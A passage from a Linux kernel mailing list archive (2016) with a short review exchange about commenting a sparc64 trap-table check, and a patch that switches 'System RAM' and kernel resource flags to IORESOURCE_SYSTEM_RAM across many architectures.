         WDex0ecx7NVWhQFbwCNQwvQdVVqfGafYNRxAzwm7xhyL1u5SDTu/okwuYSW0IV3s1/zt
         XIuw==
X-Gm-Message-State: AG10YOSjolQF/tcARKxR14enorFuXqHr9R/nmhm7z9eaKUFk/ezSC04Mklt18MNZ1ze+dbdetITfzHmdmeBYKWL3
X-Received: by 10.112.13.8 with SMTP id d8mr8871852lbc.110.1453830528998; Tue,
 26 Jan 2016 09:48:48 -0800 (PST)
Original-Received: by 10.25.88.140 with HTTP; Tue, 26 Jan 2016 09:48:29 -0800 (PST)
In-Reply-To: <20160126174441.GA18873@ravnborg.org>
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:22272 gmane.linux.kernel.cross-arch:30510 gmane.linux.ports.parisc:26451 gmane.linux.ports.mips.general:52580
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/22272>

On Tue, Jan 26, 2016 at 9:44 AM, Sam Ravnborg <sam@ravnborg.org> wrote:
> On Mon, Jan 25, 2016 at 10:51:00PM -0800, David Miller wrote:
>> From: Sam Ravnborg <sam@ravnborg.org>
>> Date: Tue, 26 Jan 2016 07:29:51 +0100
>>
>> > Could you please add a comment about where 0x110 comes from.
>> > I at least failed to track this down.
>>
>> Frankly I'm fine with this.  Someone who understands sparc64 can look
>> at the trap table around entry 0x110 and see:
>>
>> tl0_resv10e:  BTRAP(0x10e) BTRAP(0x10f)
>> tl0_linux32:  LINUX_32BIT_SYSCALL_TRAP
>> tl0_oldlinux64:       LINUX_64BIT_SYSCALL_TRAP
>
> If one realise to look in the trap table in the first place - yes.
>
> Adding a short:
>
> /* Check if this is LINUX_32BIT_SYSCALL_TRAP */
> Would make wonders to readability.

I'll add a comment in v2.

--Andy
-- 
Andy Lutomirski
AMA Capital Management, LLC
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Miller <davem@davemloft.net>
Newsgroups: gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.mips.general
Subject: Re: [PATCH v2 02/16] sparc/compat: Provide an accurate
 in_compat_syscall implementation
Date: Tue, 26 Jan 2016 10:04:28 -0800 (PST)
Lines: 30
Approved: news@gmane.org
Message-ID: <20160126.100428.940114886943875601.davem@davemloft.net>
References: <20160126062951.GA17107@ravnborg.org>
	<20160125.225100.1932707129794761764.davem@davemloft.net>
	<20160126174441.GA18873@ravnborg.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: Text/Plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1453831493 11495 80.91.229.3 (26 Jan 2016 18:04:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Jan 2016 18:04:53 +0000 (UTC)
Cc: luto@kernel.org, akpm@linux-foundation.org,
	viro@zeniv.linux.org.uk, torvalds@linux-foundation.org,
	x86@kernel.org, linux-arch@vger.kernel.org,
	linux-s390@vger.kernel.org, cmetcalf@ezchip.com,
	linux-parisc@vger.kernel.org, linux-mips@linux-mips.org,
	sparclinux@vger.kernel.org
To: sam@ravnborg.org
Original-X-From: sparclinux-owner@vger.kernel.org Tue Jan 26 19:04:45 2016
Return-path: <sparclinux-owner@vger.kernel.org>
Envelope-to: lnx-sparclinux@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <sparclinux-owner@vger.kernel.org>)
	id 1aO7yr-0002sL-Kz
	for lnx-sparclinux@plane.gmane.org; Tue, 26 Jan 2016 19:04:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934330AbcAZSEf (ORCPT <rfc822;lnx-sparclinux@m.gmane.org>);
	Tue, 26 Jan 2016 13:04:35 -0500
Original-Received: from shards.monkeyblade.net ([149.20.54.216]:35910 "EHLO
	shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932586AbcAZSEc (ORCPT
	<rfc822;sparclinux@vger.kernel.org>); Tue, 26 Jan 2016 13:04:32 -0500
Original-Received: from localhost (74-93-104-98-Washington.hfc.comcastbusiness.net [74.93.104.98])
	(Authenticated sender: davem-davemloft)
	by shards.monkeyblade.net (Postfix) with ESMTPSA id 706655A78D8;
	Tue, 26 Jan 2016 10:04:31 -0800 (PST)
In-Reply-To: <20160126174441.GA18873@ravnborg.org>
X-Mailer: Mew version 6.7 on Emacs 24.5 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Tue, 26 Jan 2016 10:04:31 -0800 (PST)
Original-Sender: sparclinux-owner@vger.kernel.org
Precedence: bulk
List-ID: <sparclinux.vger.kernel.org>
X-Mailing-List: sparclinux@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sparc:22273 gmane.linux.kernel.cross-arch:30511 gmane.linux.ports.parisc:26452 gmane.linux.ports.mips.general:52581
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sparc/22273>

From: Sam Ravnborg <sam@ravnborg.org>
Date: Tue, 26 Jan 2016 18:44:41 +0100

> On Mon, Jan 25, 2016 at 10:51:00PM -0800, David Miller wrote:
>> From: Sam Ravnborg <sam@ravnborg.org>
>> Date: Tue, 26 Jan 2016 07:29:51 +0100
>> 
>> > Could you please add a comment about where 0x110 comes from.
>> > I at least failed to track this down.
>> 
>> Frankly I'm fine with this.  Someone who understands sparc64 can look
>> at the trap table around entry 0x110 and see:
>> 
>> tl0_resv10e:	BTRAP(0x10e) BTRAP(0x10f)
>> tl0_linux32:	LINUX_32BIT_SYSCALL_TRAP
>> tl0_oldlinux64:	LINUX_64BIT_SYSCALL_TRAP
> 
> If one realise to look in the trap table in the first place - yes.
> 
> Adding a short:
> 
> /* Check if this is LINUX_32BIT_SYSCALL_TRAP */
> Would make wonders to readability.

Fair enough.
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Borislav Petkov <bp@alien8.de>
Newsgroups: gmane.linux.ports.mips.general,gmane.linux.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.arm.kernel,gmane.linux.kernel.mm,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc
Subject: [PATCH 06/17] arch: Set IORESOURCE_SYSTEM_RAM flag for System RAM
Date: Tue, 26 Jan 2016 21:57:22 +0100
Lines: 411
Approved: news@gmane.org
Message-ID: <1453841853-11383-7-git-send-email-bp@alien8.de>
References: <1453841853-11383-1-git-send-email-bp@alien8.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1453841889 21550 80.91.229.3 (26 Jan 2016 20:58:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Jan 2016 20:58:09 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>, linux-arch@vger.kernel.org,
        linux-arm-kernel@lists.infradead.org, linux-mips@linux-mips.org,
        linux-mm <linux-mm@kvack.org>, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org
To: Ingo Molnar <mingo@kernel.org>
Original-X-From: linux-mips-bounce@linux-mips.org Tue Jan 26 21:58:03 2016
Return-path: <linux-mips-bounce@linux-mips.org>
Envelope-to: sgi-linux-mips@gmane.org
Original-Received: from eddie.linux-mips.org ([148.251.95.138] helo=cvs.linux-mips.org)
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-mips-bounce@linux-mips.org>)
	id 1aOAgc-0000nb-IC
	for sgi-linux-mips@gmane.org; Tue, 26 Jan 2016 21:58:02 +0100
Original-Received: from localhost.localdomain ([127.0.0.1]:36198 "EHLO
        eddie.linux-mips.org" rhost-flags-OK-OK-OK-FAIL)
        by eddie.linux-mips.org with ESMTP id S27011675AbcAZU566VMJG (ORCPT
        <rfc822;sgi-linux-mips@gmane.org>); Tue, 26 Jan 2016 21:57:58 +0100
Original-Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 26 Jan 2016 21:57:45 +0100 (CET)
Original-Received: from mail.skyhub.de ([78.46.96.112]:49944 "EHLO mail.skyhub.de"
        rhost-flags-OK-OK-OK-OK) by eddie.linux-mips.org with ESMTP
        id S27011663AbcAZU5mYiEfG (ORCPT <rfc822;linux-mips@linux-mips.org>);
        Tue, 26 Jan 2016 21:57:42 +0100
X-Virus-Scanned: Nedap ESD1 at mail.skyhub.de
Original-Received: from mail.skyhub.de ([127.0.0.1])
        by localhost (door.skyhub.de [127.0.0.1]) (amavisd-new, port 10026)
        with ESMTP id ULDQNlXmaWxo; Tue, 26 Jan 2016 21:57:41 +0100 (CET)
Original-Received: from pd.tnic (p200300454B150D000A606EFFFE5584DC.dip0.t-ipconnect.de [IPv6:2003:45:4b15:d00:a60:6eff:fe55:84dc])
        (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
        (No client certificate requested)
        by mail.skyhub.de (SuperMail on ZX Spectrum 128k) with ESMTPSA id 5E9F0245AA0;
        Tue, 26 Jan 2016 21:57:37 +0100 (CET)
Original-Received: by pd.tnic (Postfix, from userid 1000)
        id 71D4F16182B; Tue, 26 Jan 2016 21:57:33 +0100 (CET)
X-Mailer: git-send-email 2.3.5
In-Reply-To: <1453841853-11383-1-git-send-email-bp@alien8.de>
X-archive-position: 51428
X-ecartis-version: Ecartis v1.0.0
Original-Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: bp@alien8.de
Precedence: bulk
List-help: <mailto:ecartis@linux-mips.org?Subject=help>
List-unsubscribe: <mailto:ecartis@linux-mips.org?subject=unsubscribe%20linux-mips>
List-software: Ecartis version 1.0.0
List-Id: linux-mips <linux-mips.eddie.linux-mips.org>
X-List-ID: linux-mips <linux-mips.eddie.linux-mips.org>
List-subscribe: <mailto:ecartis@linux-mips.org?subject=subscribe%20linux-mips>
List-owner: <mailto:ralf@linux-mips.org>
List-post: <mailto:linux-mips@linux-mips.org>
List-archive: <http://www.linux-mips.org/archives/linux-mips/>
X-list: linux-mips
Xref: news.gmane.org gmane.linux.ports.mips.general:52585 gmane.linux.kernel:2136138 gmane.linux.kernel.cross-arch:30520 gmane.linux.ports.arm.kernel:472359 gmane.linux.kernel.mm:145129 gmane.linux.ports.parisc:26453 gmane.linux.ports.ppc64.devel:122555 gmane.linux.ports.sh.devel:53231 gmane.linux.ports.sparc:22275
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.mips.general/52585>

From: Toshi Kani <toshi.kani@hpe.com>

Set IORESOURCE_SYSTEM_RAM in flags of resource ranges with "System RAM",
"Kernel code", "Kernel data", and "Kernel bss".

Note that:

 - IORESOURCE_SYSRAM (i.e. modifier bit) is set in flags when
   IORESOURCE_MEM is already set. IORESOURCE_SYSTEM_RAM is defined
   as (IORESOURCE_MEM|IORESOURCE_SYSRAM).

 - Some archs do not set 'flags' for children nodes, such as
   "Kernel code".  This patch does not change 'flags' in this
   case.

Signed-off-by: Toshi Kani <toshi.kani@hpe.com>
Cc: linux-arch@vger.kernel.org
Cc: linux-arm-kernel@lists.infradead.org
Cc: linux-mips@linux-mips.org
Cc: linux-mm <linux-mm@kvack.org>
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: linux-s390@vger.kernel.org
Cc: linux-sh@vger.kernel.org
Cc: sparclinux@vger.kernel.org
Link: http://lkml.kernel.org/r/1452020081-26534-6-git-send-email-toshi.kani@hpe.com
Signed-off-by: Borislav Petkov <bp@suse.de>
---
 arch/arm/kernel/setup.c       |  6 +++---
 arch/arm64/kernel/setup.c     |  6 +++---
 arch/avr32/kernel/setup.c     |  6 +++---
 arch/m32r/kernel/setup.c      |  4 ++--
 arch/mips/kernel/setup.c      | 10 ++++++----
 arch/parisc/mm/init.c         |  6 +++---
 arch/powerpc/mm/mem.c         |  2 +-
 arch/s390/kernel/setup.c      |  8 ++++----
 arch/score/kernel/setup.c     |  2 +-
 arch/sh/kernel/setup.c        |  8 ++++----
 arch/sparc/mm/init_64.c       |  8 ++++----
 arch/tile/kernel/setup.c      | 11 ++++++++---
 arch/unicore32/kernel/setup.c |  6 +++---
 13 files changed, 45 insertions(+), 38 deletions(-)

diff --git a/arch/arm/kernel/setup.c b/arch/arm/kernel/setup.c
index 7d0cba6f1cc5..139791ed473d 100644
--- a/arch/arm/kernel/setup.c
+++ b/arch/arm/kernel/setup.c
@@ -176,13 +176,13 @@ static struct resource mem_res[] = {
 		.name = "Kernel code",
 		.start = 0,
 		.end = 0,
-		.flags = IORESOURCE_MEM
+		.flags = IORESOURCE_SYSTEM_RAM
 	},
 	{
 		.name = "Kernel data",
 		.start = 0,
 		.end = 0,
-		.flags = IORESOURCE_MEM
+		.flags = IORESOURCE_SYSTEM_RAM
 	}
 };
 
@@ -851,7 +851,7 @@ static void __init request_standard_resources(const struct machine_desc *mdesc)
 		res->name  = "System RAM";
 		res->start = __pfn_to_phys(memblock_region_memory_base_pfn(region));
 		res->end = __pfn_to_phys(memblock_region_memory_end_pfn(region)) - 1;
-		res->flags = IORESOURCE_MEM | IORESOURCE_BUSY;
+		res->flags = IORESOURCE_SYSTEM_RAM | IORESOURCE_BUSY;
 
 		request_resource(&iomem_resource, res);
 
diff --git a/arch/arm64/kernel/setup.c b/arch/arm64/kernel/setup.c
index 8119479147db..450987d99b9b 100644
--- a/arch/arm64/kernel/setup.c
+++ b/arch/arm64/kernel/setup.c
@@ -73,13 +73,13 @@ static struct resource mem_res[] = {
 		.name = "Kernel code",
 		.start = 0,
 		.end = 0,
-		.flags = IORESOURCE_MEM
+		.flags = IORESOURCE_SYSTEM_RAM
 	},
 	{
 		.name = "Kernel data",
 		.start = 0,
 		.end = 0,
-		.flags = IORESOURCE_MEM
+		.flags = IORESOURCE_SYSTEM_RAM
 	}
 };
 
@@ -210,7 +210,7 @@ static void __init request_standard_resources(void)
 		res->name  = "System RAM";
 		res->start = __pfn_to_phys(memblock_region_memory_base_pfn(region));
 		res->end = __pfn_to_phys(memblock_region_memory_end_pfn(region)) - 1;
-		res->flags = IORESOURCE_MEM | IORESOURCE_BUSY;
+		res->flags = IORESOURCE_SYSTEM_RAM | IORESOURCE_BUSY;
 
 		request_resource(&iomem_resource, res);
 
diff --git a/arch/avr32/kernel/setup.c b/arch/avr32/kernel/setup.c
index 209ae5ad3495..e6928896da2a 100644
--- a/arch/avr32/kernel/setup.c
+++ b/arch/avr32/kernel/setup.c
@@ -49,13 +49,13 @@ static struct resource __initdata kernel_data = {
 	.name	= "Kernel data",
 	.start	= 0,
 	.end	= 0,
-	.flags	= IORESOURCE_MEM,
+	.flags	= IORESOURCE_SYSTEM_RAM,
 };
 static struct resource __initdata kernel_code = {
 	.name	= "Kernel code",
 	.start	= 0,
 	.end	= 0,
-	.flags	= IORESOURCE_MEM,
+	.flags	= IORESOURCE_SYSTEM_RAM,
 	.sibling = &kernel_data,
 };
 
@@ -134,7 +134,7 @@ add_physical_memory(resource_size_t start, resource_size_t end)
 	new->start = start;
 	new->end = end;
 	new->name = "System RAM";
-	new->flags = IORESOURCE_MEM;
+	new->flags = IORESOURCE_SYSTEM_RAM;
 
 	*pprev = new;
 }
diff --git a/arch/m32r/kernel/setup.c b/arch/m32r/kernel/setup.c
index a5ecef7188ba..136c69f1fb8a 100644
--- a/arch/m32r/kernel/setup.c
+++ b/arch/m32r/kernel/setup.c
@@ -70,14 +70,14 @@ static struct resource data_resource = {
 	.name   = "Kernel data",
 	.start  = 0,
 	.end    = 0,
-	.flags  = IORESOURCE_BUSY | IORESOURCE_MEM
+	.flags  = IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM
 };
 
 static struct resource code_resource = {
 	.name   = "Kernel code",
 	.start  = 0,
 	.end    = 0,
-	.flags  = IORESOURCE_BUSY | IORESOURCE_MEM
+	.flags  = IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM
 };
 
 unsigned long memory_start;
diff --git a/arch/mips/kernel/setup.c b/arch/mips/kernel/setup.c
index 569a7d5242dd..c745f0ea2577 100644
--- a/arch/mips/kernel/setup.c
+++ b/arch/mips/kernel/setup.c
@@ -732,21 +732,23 @@ static void __init resource_init(void)
 			end = HIGHMEM_START - 1;
 
 		res = alloc_bootmem(sizeof(struct resource));
+
+		res->start = start;
+		res->end = end;
+		res->flags = IORESOURCE_MEM | IORESOURCE_BUSY;
+
 		switch (boot_mem_map.map[i].type) {
 		case BOOT_MEM_RAM:
 		case BOOT_MEM_INIT_RAM:
 		case BOOT_MEM_ROM_DATA:
 			res->name = "System RAM";
+			res->flags |= IORESOURCE_SYSRAM;
 			break;
 		case BOOT_MEM_RESERVED:
 		default:
 			res->name = "reserved";
 		}
 
-		res->start = start;
-		res->end = end;
-
-		res->flags = IORESOURCE_MEM | IORESOURCE_BUSY;
 		request_resource(&iomem_resource, res);
 
 		/*
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index 1b366c477687..3c07d6b96877 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -55,12 +55,12 @@ signed char pfnnid_map[PFNNID_MAP_MAX] __read_mostly;
 
 static struct resource data_resource = {
 	.name	= "Kernel data",
-	.flags	= IORESOURCE_BUSY | IORESOURCE_MEM,
+	.flags	= IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM,
 };
 
 static struct resource code_resource = {
 	.name	= "Kernel code",
-	.flags	= IORESOURCE_BUSY | IORESOURCE_MEM,
+	.flags	= IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM,
 };
 
 static struct resource pdcdata_resource = {
@@ -201,7 +201,7 @@ static void __init setup_bootmem(void)
 		res->name = "System RAM";
 		res->start = pmem_ranges[i].start_pfn << PAGE_SHIFT;
 		res->end = res->start + (pmem_ranges[i].pages << PAGE_SHIFT)-1;
-		res->flags = IORESOURCE_MEM | IORESOURCE_BUSY;
+		res->flags = IORESOURCE_SYSTEM_RAM | IORESOURCE_BUSY;
 		request_resource(&iomem_resource, res);
 	}
 
diff --git a/arch/powerpc/mm/mem.c b/arch/powerpc/mm/mem.c
index 22d94c3e6fc4..e78a2b73aa5d 100644
--- a/arch/powerpc/mm/mem.c
+++ b/arch/powerpc/mm/mem.c
@@ -541,7 +541,7 @@ static int __init add_system_ram_resources(void)
 			res->name = "System RAM";
 			res->start = base;
 			res->end = base + size - 1;
-			res->flags = IORESOURCE_MEM | IORESOURCE_BUSY;
+			res->flags = IORESOURCE_SYSTEM_RAM | IORESOURCE_BUSY;
 			WARN_ON(request_resource(&iomem_resource, res) < 0);
 		}
 	}
diff --git a/arch/s390/kernel/setup.c b/arch/s390/kernel/setup.c
index c6878fbbcf13..47dc0c011c6d 100644
--- a/arch/s390/kernel/setup.c
+++ b/arch/s390/kernel/setup.c
@@ -378,17 +378,17 @@ static void __init setup_lowcore(void)
 
 static struct resource code_resource = {
 	.name  = "Kernel code",
-	.flags = IORESOURCE_BUSY | IORESOURCE_MEM,
+	.flags = IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM,
 };
 
 static struct resource data_resource = {
 	.name = "Kernel data",
-	.flags = IORESOURCE_BUSY | IORESOURCE_MEM,
+	.flags = IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM,
 };
 
 static struct resource bss_resource = {
 	.name = "Kernel bss",
-	.flags = IORESOURCE_BUSY | IORESOURCE_MEM,
+	.flags = IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM,
 };
 
 static struct resource __initdata *standard_resources[] = {
@@ -412,7 +412,7 @@ static void __init setup_resources(void)
 
 	for_each_memblock(memory, reg) {
 		res = alloc_bootmem_low(sizeof(*res));
-		res->flags = IORESOURCE_BUSY | IORESOURCE_MEM;
+		res->flags = IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM;
 
 		res->name = "System RAM";
 		res->start = reg->base;
diff --git a/arch/score/kernel/setup.c b/arch/score/kernel/setup.c
index b48459afefdd..f3a0649ab521 100644
--- a/arch/score/kernel/setup.c
+++ b/arch/score/kernel/setup.c
@@ -101,7 +101,7 @@ static void __init resource_init(void)
 	res->name = "System RAM";
 	res->start = MEMORY_START;
 	res->end = MEMORY_START + MEMORY_SIZE - 1;
-	res->flags = IORESOURCE_MEM | IORESOURCE_BUSY;
+	res->flags = IORESOURCE_SYSTEM_RAM | IORESOURCE_BUSY;
 	request_resource(&iomem_resource, res);
 
 	request_resource(res, &code_resource);
diff --git a/arch/sh/kernel/setup.c b/arch/sh/kernel/setup.c
index de19cfa768f2..3f1c18b28e8a 100644
--- a/arch/sh/kernel/setup.c
+++ b/arch/sh/kernel/setup.c
@@ -78,17 +78,17 @@ static char __initdata command_line[COMMAND_LINE_SIZE] = { 0, };
 
 static struct resource code_resource = {
 	.name = "Kernel code",
-	.flags = IORESOURCE_BUSY | IORESOURCE_MEM,
+	.flags = IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM,
 };
 
 static struct resource data_resource = {
 	.name = "Kernel data",
-	.flags = IORESOURCE_BUSY | IORESOURCE_MEM,
+	.flags = IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM,
 };
 
 static struct resource bss_resource = {
 	.name	= "Kernel bss",
-	.flags	= IORESOURCE_BUSY | IORESOURCE_MEM,
+	.flags	= IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM,
 };
 
 unsigned long memory_start;
@@ -202,7 +202,7 @@ void __init __add_active_range(unsigned int nid, unsigned long start_pfn,
 	res->name = "System RAM";
 	res->start = start;
 	res->end = end - 1;
-	res->flags = IORESOURCE_MEM | IORESOURCE_BUSY;
+	res->flags = IORESOURCE_SYSTEM_RAM | IORESOURCE_BUSY;
 
 	if (request_resource(&iomem_resource, res)) {
 		pr_err("unable to request memory_resource 0x%lx 0x%lx\n",
diff --git a/arch/sparc/mm/init_64.c b/arch/sparc/mm/init_64.c
index 6f216853f272..1cfe6aab7a11 100644
--- a/arch/sparc/mm/init_64.c
+++ b/arch/sparc/mm/init_64.c
@@ -2863,17 +2863,17 @@ void hugetlb_setup(struct pt_regs *regs)
 
 static struct resource code_resource = {
 	.name	= "Kernel code",
-	.flags	= IORESOURCE_BUSY | IORESOURCE_MEM
+	.flags	= IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM
 };
 
 static struct resource data_resource = {
 	.name	= "Kernel data",
-	.flags	= IORESOURCE_BUSY | IORESOURCE_MEM
+	.flags	= IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM
 };
 
 static struct resource bss_resource = {
 	.name	= "Kernel bss",
-	.flags	= IORESOURCE_BUSY | IORESOURCE_MEM
+	.flags	= IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM
 };
 
 static inline resource_size_t compute_kern_paddr(void *addr)
@@ -2909,7 +2909,7 @@ static int __init report_memory(void)
 		res->name = "System RAM";
 		res->start = pavail[i].phys_addr;
 		res->end = pavail[i].phys_addr + pavail[i].reg_size - 1;
-		res->flags = IORESOURCE_BUSY | IORESOURCE_MEM;
+		res->flags = IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM;
 
 		if (insert_resource(&iomem_resource, res) < 0) {
 			pr_warn("Resource insertion failed.\n");
diff --git a/arch/tile/kernel/setup.c b/arch/tile/kernel/setup.c
index bbb855de6569..a992238e9b58 100644
--- a/arch/tile/kernel/setup.c
+++ b/arch/tile/kernel/setup.c
@@ -1632,14 +1632,14 @@ static struct resource data_resource = {
 	.name	= "Kernel data",
 	.start	= 0,
 	.end	= 0,
-	.flags	= IORESOURCE_BUSY | IORESOURCE_MEM
+	.flags	= IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM
 };
 
 static struct resource code_resource = {
 	.name	= "Kernel code",
 	.start	= 0,
 	.end	= 0,
-	.flags	= IORESOURCE_BUSY | IORESOURCE_MEM
+	.flags	= IORESOURCE_BUSY | IORESOURCE_SYSTEM_RAM
 };
 
 /*
@@ -1673,10 +1673,15 @@ insert_ram_resource(u64 start_pfn, u64 end_pfn, bool reserved)
 		kzalloc(sizeof(struct resource), GFP_ATOMIC);
 	if (!res)
 		return NULL;
-	res->name = reserved ? "Reserved" : "System RAM";
 	res->start = start_pfn << PAGE_SHIFT;
 	res->end = (end_pfn << PAGE_SHIFT) - 1;
 	res->flags = IORESOURCE_BUSY | IORESOURCE_MEM;
+	if (reserved) {
+		res->name = "Reserved";
+	} else {
+		res->name = "System RAM";
+		res->flags |= IORESOURCE_SYSRAM;
+	}
 	if (insert_resource(&iomem_resource, res)) {
 		kfree(res);
 		return NULL;
diff --git a/arch/unicore32/kernel/setup.c b/arch/unicore32/kernel/setup.c
index 3fa317f96122..c2bffa5614a4 100644
--- a/arch/unicore32/kernel/setup.c
+++ b/arch/unicore32/kernel/setup.c
@@ -72,13 +72,13 @@ static struct resource mem_res[] = {
 		.name = "Kernel code",
 		.start = 0,
 		.end = 0,
-		.flags = IORESOURCE_MEM
+		.flags = IORESOURCE_SYSTEM_RAM
 	},
 	{
 		.name = "Kernel data",
 		.start = 0,
 		.end = 0,
-		.flags = IORESOURCE_MEM
+		.flags = IORESOURCE_SYSTEM_RAM
 	}
 };
 
@@ -211,7 +211,7 @@ request_standard_resources(struct meminfo *mi)
 		res->name  = "System RAM";
 		res->start = mi->bank[i].start;
 		res->end   = mi->bank[i].start + mi->bank[i].size - 1;
-		res->flags = IORESOURCE_MEM | IORESOURCE_BUSY;
+		res->flags = IORESOURCE_SYSTEM_RAM | IORESOURCE_BUSY;
 
 		request_resource(&iomem_resource, res);
 
-- 
2.3.5




From - Thu Nov 08 21:38:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Borislav Petkov <bp@alien8.de>
Newsgroups: gmane.linux.kernel,gmane.linux.acpi.devel,gmane.linux.kernel.cross-arch,gmane.linux.kernel.mm,gmane.linux.ports.parisc,gmane.linux.kernel.renesas-soc,gmane.linux.ports.sh.devel
Subject: [PATCH 09/17] drivers: Initialize resource entry to zero
Date: Tue, 26 Jan 2016 21:57:25 +0100
Lines: 120
Approved: news@gmane.org
Message-ID: <1453841853-11383-10-git-send-email-bp@alien8.de>
References: <1453841853-11383-1-git-send-email-bp@alien8.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1453842041 23831 80.91.229.3 (26 Jan 2016 21:00:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 26 Jan 2016 21:00:41 +0000 (UTC)
Cc: LKML <linux-kernel@vger.kernel.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	linux-acpi@vger.kernel.org, linux-arch@vger.kernel.org,
	linux-mm <linux-mm@kvack.org>, linux-parisc@vger.kernel.org,
	linux-renesas-soc@vger.kernel.org, linux-sh@vger.kernel.org
To: Ingo Molnar <mingo@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Jan 26 22:00:27 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aOAiq-0002WB-Vw
	for glk-linux-kernel-3@plane.gmane.org; Tue, 26 Jan 2016 22:00:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752794AbcAZVAA (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 26 Jan 2016 16:00:00 -0500
Original-Received: from mail.skyhub.de ([78.46.96.112]:41598 "EHLO mail.skyhub.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751904AbcAZU5m (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Tue, 26 Jan 2016 15:57:42 -0500
X-Virus-Scanned: Nedap ESD1 at mail.skyhub.de
Original-Received: from mail.skyhub.de ([127.0.0.1])
	by localhost (door.skyhub.de [127.0.0.1]) (amavisd-new, port 10026)
	with ESMTP id yVXnNC52P-UV; Tue, 26 Jan 2016 21:57:40 +0100 (CET)
Original-Received: from pd.tnic (p54AF4117.dip0.t-ipconnect.de [84.175.65.23])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mail.skyhub.de (SuperMail on ZX Spectrum 128k) with ESMTPSA id DA126245A95;
	Tue, 26 Jan 2016 21:57:37 +0100 (CET)
Original-Received: by pd.tnic (Postfix, from userid 1000)
	id 7F75F1619CD; Tue, 26 Jan 2016 21:57:33 +0100 (CET)
X-Mailer: git-send-email 2.3.5
In-Reply-To: <1453841853-11383-1-git-send-email-bp@alien8.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
